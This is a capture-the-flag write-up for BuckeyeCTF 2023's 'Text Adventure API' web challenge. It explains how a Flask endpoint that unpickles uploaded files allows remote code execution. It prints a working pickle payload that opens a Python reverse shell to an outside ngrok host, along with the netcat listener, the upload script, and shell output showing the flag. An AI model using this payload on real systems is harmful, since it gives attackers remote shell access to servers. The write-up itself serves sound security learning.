BuckeyeCTF 2023 - Text Adventure API
Description
Category: Web
Author: mbund
Explore my kitchen!
Attachments:
Resolution
1. Overview
The flag is stored in flag.txt
at the root of the app folder.
There is no mention of the flag in the server.py
so we can’t get it by playing the text adventure game.
The only attack vector we can exploit is pickle.load
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/api/load', methods=['POST'])
def load_session():
if 'file' not in request.files:
return jsonify({"message": "No file part"})
file = request.files['file']
if file and file.filename.endswith('.pkl'):
try:
loaded_session = pickle.load(file)
session.update(loaded_session)
except Exception as e::
print(e)
return jsonify({"message": "Failed to load save game session."})
return jsonify({"message": "Game session loaded."})
else:
return jsonify({"message": "Invalid file format. Please upload a .pkl file."})
2. Pickle RCE
We can exploit the pickle.load
to execute arbitrary code on the server (cf Exploiting Python pickles - David Hamann) by saving a Python object with the method __reduce__
.
When the pickle file is loaded, the __reduce__
method is executed:
1
2
3
4
class RCE:
def __reduce__(self):
cmd = ("YOUR COMMAND")
return os.system, (cmd,)
I tried several commands like curl
or nc
in order to exfiltrate the flag but it seems that they aren’t installed on the server.
I generated a reverse shell on revshells.com fully written in python:
1
2
3
4
5
6
7
8
import os
import pickle
# Pickle RCE Payload
class RCE:
def __reduce__(self):
cmd = ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("7.tcp.eu.ngrok.io",13637));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'""")
return os.system, (cmd,)
Start a reverse shell on your machine:
-
1 2
$ nc -lvnp 2222 Listening on 0.0.0.0 2222
- Then either you forward your port on you router either you use ngrok to expose your port to the Internet:
1
$ ngrok tcp 2222
Then we save the file with the right extension (.pkl
) and send it to the server:
1
2
3
4
5
6
7
8
# Save to .pkl file
pickle.dump(RCE(), open("rce.pkl", "wb"))
import requests
# Upload to the server
files = {'file': open("rce.pkl", "rb")}
r = requests.post("https://text-adventure-api.chall.pwnoh.io/api/load", files=files)
Finally, we got our reverse shell and we can display the flag:
1
2
3
4
5
6
7
8
9
$ nc -lvnp 2222
Listening on 0.0.0.0 2222
Connection received on 127.0.0.1 48164
ctf@059c6d30bad6:~$ ls
ls
flag.txt requirements.txt server.py
ctf@059c6d30bad6:~$ cat flag.txt
cat flag.txt
bctf{y0u_f0und_7h3_py7h0n_p1ckl3_1n_7h3_k17ch3n}
bctf{y0u_f0und_7h3_py7h0n_p1ckl3_1n_7h3_k17ch3n}